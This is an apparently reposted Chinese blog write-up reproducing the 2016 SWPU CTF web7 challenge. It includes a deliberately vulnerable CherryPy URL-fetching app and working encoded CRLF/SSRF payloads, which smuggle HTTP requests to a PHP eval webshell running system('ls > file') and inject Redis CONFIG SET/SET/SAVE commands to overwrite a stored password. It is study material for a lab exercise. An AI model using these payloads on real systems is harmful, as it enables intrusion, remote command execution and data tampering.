2016 SWPU web7的复现与思考

来源:互联网 发布:js中对象的长度 编辑:程序博客网 时间:2024/04/28 12:46

2016 SWPU比赛结束了,但是web7还是有点没有搞太懂,于是根据官方的wp来复现了一下,官方的wp地址:http://bobao.360.cn/ctf/detail/174.html

首先搭建环境,要安装的依赖是python的:cherrypy和redis(cherrypy的安装可以直接:pip install cherrypy,如果网速比较慢,可以下载我上传好的压缩包:http://download.csdn.net/detail/niexinming/9672396)

两个依赖都搭建好之后就,来搭建后台环境(后台环境是我根据官方的wp的描述自己写的)

首先web7.py

__author__ = 'niexinming'#coding=utf-8import cherrypyimport urllib2import redisclass web7:    @cherrypy.expose    def index(self):        return "<script> window.location.href='/web7/input';</script>"    @cherrypy.expose    def input(self,url="",submit=""):        file=open("index.html","r").read()        reheaders=""        if cherrypy.request.method=="GET":            reheaders=""        else:            url=cherrypy.request.params["url"]            submit=cherrypy.request.params["submit"]            try:                for x in urllib2.urlopen(url).info().headers:                    reheaders=reheaders+x+"<br>"            except Exception,e:                reheaders="错误"+str(e)        file=file.replace("<?response?>",reheaders)        return file    @cherrypy.expose    def login(self,password="",submit=""):        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)        r = redis.Redis(connection_pool=pool)        re=""        file=open("login.html","r").read()        if cherrypy.request.method=="GET":            re=""        else:            password=cherrypy.request.params["password"]            submit=cherrypy.request.params["submit"]            if r.get("admin")==password:                re="flag{this_is_func}"            else:                re="Can't find admin:"+password+",fast fast fast....."        file=file.replace("<?response?>",re)        return filecherrypy.quickstart(web7(),'/web7')


然后:index.html

<!DOCTYPE html><html lang="en"><head>    <title>index</title></head><body>    <meta charset="UTF-8">    <form id="formid"  name= "myform" method = 'post'  action = "">        <input type="text" name="url" width="300" />        <input type="submit" name="submit" value="submit" />    </form><br>    <?response?><br><a href="login">login</a></body></html>

login.html

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>login</title></head><body><h1>Admin Login</h1>    <form id="formid"  name= "login" method = 'post'  action = "">        <input type="text" name="password" width="250" />        <input type="submit" width="250" name="submit" value="Login it now!" />    </form><ul>    <li><h3><?response?></h3></li></ul></body></html>

如果要运行这个网站的话,直接python web7.py,然后访问:http://localhost:8080/web7/input ,就可以了

官方说有个脚本一直在修改redis的密码,changepassword.py

__author__ = 'niexinming'import redisimport randomimport timewhile(1):    pool = redis.ConnectionPool(host='127.0.0.1', port=6379)    r = redis.Redis(connection_pool=pool)    password="".join(random.sample('abcdefghijklmnopqrstuvwxyz!@#$%^&*()',10))    r.set("admin",password)    time.sleep(3)


然后根据一个python头部注入的文章来实验:http://www.tuicool.com/articles/2iIj2eR

我发现有几个点很有趣,首先文章说:攻击者可以注入一个额外的完整的HTTP请求头,

给出的例子是(提示:下面说的所有例子数据之间放入输入框点提交就行,不需要额外编码)

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

我实验了一下,确实在apache的日志上留下两条访问的数据,一个是get的,一条是post的

我想能不能用注入的第二次post请求来攻击一个内网的网站,假设的场景是内网有个服务器已经有一个一句话木马了(@eval($_POST["a"]);),我能不能post一个指令去攻击呢?

我的攻击指令是:system('ls > test.txt');

我构造的代码:

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2feval.php%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Type%3Aapplication%2fx-www-form-urlencoded%0d%0aContent-Length%3a%2026%0d%0a%0d%0aa%3Dsystem%28%27ls%20%3E%20llll.txt%27%29%3B%0d%0a:12345/index.php

结果页面报错:

label empty or too long

而且没有任何执行成功的痕迹

我尝试把注入的代码中的:Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a  去掉,发现没有报错了,但是还是没有执行成功的痕迹我很郁闷,在shell中加入了一段代码:$data = file_get_contents("php://input");file_put_contents("test1.txt",$data); 在请求去掉Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a,发现test1.txt得到了post的原始数据,但是$_POST却没有任何反应,后来我查了资料说:

application/x-www-form-urlencoded: 窗体数据被编码为名称/值对。这是标准的编码格式。 multipart/form-data: 窗体数据被编码为一条消息,页上的每个控件对应消息中的一个部分。 text/plain: 窗体数据以纯文本形式进行编码,其中不含任何控件或格式字符。
补充
form的enctype属性为编码方式,常用有两种:application/x-www-form-urlencoded和multipart/form-data,默认为application/x-www-form-urlencoded。 当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2...),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。 如果没有type=file的控件,用默认的application/x-www-form-urlencoded就可以了。 但是如果有type=file的话,就要用到multipart/form-data了。浏览器会把整个表单以控件为单位分割,并为每个部分加上Content-Disposition(form-data或者file),Content-Type(默认为text/plain),name(控件name)等信息,并加上分割符(boundary)。(来自:http://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html)

而且php的$_POST死认Content-Type:application/x-www-form-urlencoded,没有这个http头部字段就不会从post中拿出数据,我不死心啊,如果去掉这个字段的话能不能让asp得到post的数据,结果是,不能!!!!

sad

没有办法,如果你内网的shell写成只能从post得到数据并执行的也只能认栽了!!

但是$_GET没有什么特别限制,如果你的shell是这么写的@eval($_GET["a"]);,那么你可以:

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aGET%20%2feval.php%3Fa%3Dsystem%2528%2527ls%2520%253E%2520hehe.txt%2527%2529%253B%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0a:80/index.php

这样,通过注入得到的get请求就可以让shell执行起来了(虽然这样干有点智障,但是:要时刻保持一个好奇的心很重要!!!!)


后面说一下跟这个题目的题解:当我用官方给的给的头部注入的代码来实验:

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo

发现这个代码直接放进输入框的时候报错:

label empty or too long

但是:

我如果把过程拆开来写的话就能成功:

改变数据库的保存位置:

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

改变数据:

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

最后只要不断发上面这个改变数据的请求代码,然后用admin做密码来登陆就能拿到flag了

1 0